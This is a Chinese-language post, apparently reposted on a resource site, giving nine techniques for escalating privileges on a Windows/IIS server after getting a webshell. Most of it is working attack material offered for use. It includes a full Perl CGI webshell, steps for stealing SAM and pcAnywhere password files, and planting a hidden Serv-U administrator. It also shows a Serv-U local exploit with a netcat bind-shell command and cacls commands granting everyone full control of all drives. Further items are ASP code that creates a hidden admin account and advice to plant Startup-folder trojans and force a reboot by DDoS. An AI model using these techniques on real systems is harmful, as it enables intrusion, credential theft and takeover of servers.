提升(web)权限终极9技巧

2023-12-05 0 404

当我们取得一个webshell时候,下一部要做的就是提升权限 个人总结如下: 1:C:\\DocumentsandSettings\\AllUsers\\ApplicationData\\Symantec\\pcAnywhere看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆 2.C:\\WINNT\\system32\\config进这里下它的SAM,破解用户的密码 用到破解sam密码的软件有LC,SAMinside 3.C:\\DocumentsandSettings\\AllUsers\\「开始」菜单\\程序看这里能跳转不,我们从这里可以获取好多有用的信息 可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转 进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空 [USER=WekweN|1] Password= HomeDir=c:TimeOut=600 Maintenance=System Access1=C:\\|RWAMELCDP Access1=d:\\|RWAMELCDP Access1=f:\\|RWAMELCDP SKEYValues= 这个用户具有最高权限,然后我们就可以ftp上去quotesiteexecxxx来提升权限 4.c:\\winnt\\system32\\inetsrv\\data就是这个目录,同样是erveryone完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行 5.看能否跳转到如下目录 c:\\php,用phpspy c:\\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell #!/usr/bin/perl binmode(STDOUT); syswrite(STDOUT,\”Content-type:text/html\\r\\n\\r\\n\”,27); $_=$ENV{QUERY_STRING}; s/%20//ig; s/%2f/\\//ig; $execthis=$_; syswrite(STDOUT,\”<HTML><PRE>\\r\\n\”,13); open(STDERR,\”>&STDOUT\”)||die\”Can\’tredirectSTDERR\”; system($execthis); syswrite(STDOUT,\”\\r\\n</PRE></HTML>\\r\\n\”,17); close(STDERR); close(STDOUT); exit; 保存为cgi执行, 如果不行,可以试试pl扩展呢,把刚才的cgi文件改为pl文件,提交http://anyhost//cmd.pl?dir 显示\”拒绝访问\”,表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到prel的bin目录 http://anyhost//cmd.pl?c\\perl\\bin\\su.exe 返回: Serv-u>3.xLocalExploitbyxiaolu USAGE:serv-u.exe\”command\” Example:serv-u.exe\”nc.exe-l-p99-ecmd.exe\” 现在是IUSR权限,提交: http://anyhost//cmd.pl?c\\perl\\bin\\su.exe\”cacls.exec:/E/T/Geveryone:F\” http://anyhost//cmd.pl?c\\perl\\bin\\su.exe\”cacls.exed:/E/T/Geveryone:F\” http://anyhost//cmd.pl?c\\perl\\bin\\su.exe\”cacls.exee:/E/T/Geveryone:F\” http://anyhost//cmd.pl?c\\perl\\bin\\su.exe\”cacls.exef:/E/T/Geveryone:F\” 如果返回下面的信息,就表示成功了 Serv-u>3.xLocalExploitbyxiaolu <220Serv-UFTPServerv5.2forWinSockready… >USERLocalAdministrator <331Usernameokay,needpassword. ****************************************************** >PASS#l@$ak#.lk;0@P <230Userloggedin,proceed. ****************************************************** >SITEMAINTENANCE ****************************************************** [+]CreatingNewDomain… <200-DomainID=2 <220Domainsettingssaved ****************************************************** [+]Domainxl:2Created [+]CreatingEvilUser <200-User=xl 200Usersettingssaved ****************************************************** [+]NowExploiting… >USERxl <331Usernameokay,needpassword. ****************************************************** >PASS111111 <230Userloggedin,proceed. ****************************************************** [+]NowExecuting:cacls.exec:/E/T/Geveryone:F <220Domaindeleted 这样所有分区为everyone完全控制 现在我们把自己的用户提升为管理员: http://anyhost//cmd.pl?c\\perl\\bin\\su.exe\”netlocalgroupadministratorsIUSR_anyhost/add\” 6.可以成功运行\”cscriptC:\\Inetpub\\AdminScripts\\adsutil.vbsgetw3svc/inprocessisapiapps\”来提升权限 用这个cscriptC:\\Inetpub\\AdminScripts\\adsutil.vbsgetw3svc/inprocessisapiapps 查看有特权的dll文件:idq.dllhttpext.dllhttpodbc.dllssinc.dllmsw3prt.dll 再将asp.dll加入特权一族 asp.dll是放在c:\\winnt\\system32\\inetsrv\\asp.dll(不同的机子放的位置不一定一样) 我们现在加进去cscriptadsutil.vbsset/W3SVC/InProcessIsapiApps\”C:\\WINNT\\system32\\idq.dll\”\”C:\\WINNT\\system32\\inetsrv\\httpext.dll\”\”C:\\WINNT\\system32\\inetsrv\\httpodbc.dll\”\”C:\\WINNT\\system32\\inetsrv\\ssinc.dll\”\”C:\\WINNT\\system32\\msw3prt.dll\”\”c:\\winnt\\system32\\inetsrv\\asp.dll\” 可以用cscriptadsutil.vbsget/W3SVC/InProcessIsapiApps来查看是不是加进去了 7.还可以用这段代码试提升,好象效果不明显 <<%Response.Expires=0\”>%@codepage=936%><%Response.Expires=0 onerrorresumenext Session.TimeOut=50 Server.ScriptTimeout=3000 setlp=Server.CreateObject(\”WSCRIPT.NETWORK\”) oz=\”WinNT://\”&lp.ComputerName Setob=GetObject(oz) Setoe=GetObject(oz&\”/Administrators,group\”) Setod=ob.Create(\”user\”,\”WekweN$\”) od.SetPassword\”WekweN\”<—–密码 od.SetInfo Setof=GetObject(oz&\”/WekweN$,user\”) oe.Add(of.ADsPath) Response.write\”WekweN$超级帐号建立成功!\”%> 用这段代码检查是否提升成功 <%@codepage=936%> <%Response.Expires=0 onerrorresumenext\’查找Administrators组帐号 SettN=server.CreateObject(\”Wscript.Network\”) SetobjGroup=GetObject(\”WinNT://\”&tN.ComputerName&\”/Administrators,group\”) ForEachadmininobjGroup.Members Response.writeadmin.Name&\”<br>\” Next iferrthen Response.write\”不行啊:Wscript.Network\” endif %> 8.C:\\ProgramFiles\\JavaWebStart这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。 9.最后了,如果主机设置很变态,可以试下在c:\\DocumentsandSettings\\AllUsers\\「开始」菜单\\程序\\启动\”写入bat,vbs等木马。 等到主机重启或者你ddos逼它重启,来达到权限提升的目的。

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 编程安全 提升(web)权限终极9技巧 https://www.u-9.cn/biancheng/bcanquan/98029.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务